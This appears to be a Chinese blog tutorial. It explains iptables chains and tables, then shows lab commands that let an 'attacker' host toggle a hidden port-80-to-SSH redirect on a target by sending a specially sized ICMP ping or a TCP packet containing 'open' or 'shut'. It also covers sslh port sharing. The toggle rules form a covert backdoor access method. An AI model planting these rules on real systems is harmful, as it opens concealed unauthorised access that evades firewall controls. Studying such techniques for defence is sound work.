【安全】端口复用:远程遥控iptablesSSLH工具
创始人
2024-05-23 02:05:27
0

目录

基础知识点

链的概念

表的概念

表链关系

远程遥控iptables进行端口复用

Ⅰ、利用ICMP做遥控开关

①创建端口复用链

②创建端口复用规则,将流量转发至 22 端口

③开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到自己创的列表中

④关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 自己创的列表中去掉

⑤设置跳转处理与响应

⑥验证阶段

Ⅱ、利用tcp数据包中的关键字做遥控开关

①创建端口复用链

②添加端口复用规则

③开启开关,输入特定字符开启

④关闭开关,输入特定字符关闭

⑤设置跳转处理与响应

⑥开始验证

利用SSHL工具让https&ssh共享端口

①编辑nginx配置文件

②编辑sslh配置文件

③验证


基础知识点

链的概念

        iptables开启后,数据报文从进入服务器到出来会经过5道关卡,分别为Prerouting(路由前)、Input(输入)、Outpu(输出)、Forward(转发)、Postrouting(路由后):

        每一道关卡中有多个规则,数据报文必须按顺序一个一个匹配这些规则,这些规则串起来就像一条链,所以我们把这些关卡都叫“链”

        【一般写规则的序号都是跳着用,5‘10’15这些,因为匹配按顺序所以对规则进行了留白】

  • INPUT链:当接收到防火墙本机地址的数据包(入站)时,应用此链中的规则;

  • OUTPUT链:当防火墙本机向外发送数据包(出站)时,应用此链中的规则;

  • FORWARD链:当接收到需要通过防火墙发送给其他地址的数据包(转发)时,应用此链中的规则;

  • PREROUTING链:(互联网进入局域网)在对数据包作路由选择之前,应用此链中的规则,如DNAT;

  • POSTROUTING链:(局域网出互联网)在对数据包作路由选择之后,应用此链中的规则,如SNAT。

表的概念

        虽然每一条链上有多条规则,但有些规则的作用(功能)很相似,多条具有相同功能的规则合在一起就组成了一个“表”,iptables提供了四种“表”:

filter表:主要用于对数据包进行过滤,根据具体的规则决定是否放行该数据包(如DROP、ACCEPT、REJECT、LOG),所谓的防火墙其实基本上是指这张表上的过滤规则,对应内核模块iptables_filter;

nat表:(network address translation),网络地址转换功能,主要用于修改数据包的IP地址、端口号等信息(网络地址转换,如SNAT、DNAT、MASQUERADE、REDIRECT)。属于一个流的包(因为包的大小限制导致数据可能会被分成多个数据包)只会经过这个表一次,余下的包不会再通过这个表。对应内核模块iptables_nat;、

mangle表:拆解报文,做出修改,并重新封装,主要用于修改数据包的TOS(Type Of Service,服务类型)、TTL(Time To Live,生存周期)指以及为数据包设置Mark标记,以实现Qos(Quality Of Service,服务质量)调整以及策略路由等应用,由于需要相应的路由设备支持,因此应用并不广泛。对应内核模块iptables_mangle;

raw表:是自1.2.9以后版本的iptables新增的表,主要用于决定数据包是否被状态跟踪机制处理,在匹配数据包时,raw表的规则要优先于其他表,对应内核模块iptables_raw。

【 我们最终定义的防火墙规则,都会添加到这四张表中的其中一张表中。】

表链关系

 

 

【注:上图INPUT链中间有个nat表,上上图没有,是因为nat表仅在centos7中才会出现在INPUT链里,其他一切正常】

远程遥控iptables进行端口复用

        攻击端【node1】ip :192.168.174.131

        目标端【manage】ip:192.168.174.128

Ⅰ、利用ICMP做遥控开关

【注:如果目标在内网的话,就无法直接ping】

①创建端口复用链

        iptables -t nat -N xxx //xxx是自己取的链名

 

②创建端口复用规则,将流量转发至 22 端口

        iptables -t nat -A xxx -p tcp -j REDIRECT --to-port 22

③开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到自己创的列表中

        iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name qiu --rsource -j ACCEPT

④关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 自己创的列表中去掉

        iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name qiu --remove -j ACCEPT

        长度设为1139的话实际ping应该为1111,报文头部有20个字节,由于icmp是双层,他是32位所以32*2 /8 = 8 所以应该ping1139-28

⑤设置跳转处理与响应

        iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name qiu --rsource -j xxx

⑥验证阶段

 

        (能看到策略都添加上了)

        【进入node1(192.168.174.131)对目标开启复用,并验证ssh对80端口能否转发成功】

        

         

 

        【验证成功,下面是关闭复用后的情景】

        

 

Ⅱ、利用tcp数据包中的关键字做遥控开关

①创建端口复用链

        iptables -t nat -N nnn

②添加端口复用规则

        iptables -t nat -A nnn -p tcp -j REDIRECT --to-port 22

③开启开关,输入特定字符开启

        iptables -A INPUT -p tcp -m string --string 'open' --algo bm -m recent --set --name qiuqiu --rsource -j ACCEPT

④关闭开关,输入特定字符关闭

        iptables -A INPUT -p tcp -m string --string 'shut' --algo bm -m recent --name qiuqiu --remove -j ACCEPT

⑤设置跳转处理与响应

        iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name qiuqiu --rsource -j nnn

⑥开始验证

        

 

利用SSHL工具让https&ssh共享端口

        准备工作:安装SSLH 与 配置nginx或apache服务器

①编辑nginx配置文件

        

 

②编辑sslh配置文件

        

 

        (host那个地方改成0.0.0.0以允许 SSLH 在所有可用接口上侦听端口 443)

        (之后启动sslh服务)

③验证

 

        【通过443端口ssh连接成功】

相关内容

热门资讯

【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
AsusVivobook无法开... 首先,我们可以尝试重置BIOS(Basic Input/Output System)来解决这个问题。...
ASM贪吃蛇游戏-解决错误的问... 要解决ASM贪吃蛇游戏中的错误问题,你可以按照以下步骤进行:首先,确定错误的具体表现和问题所在。在贪...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...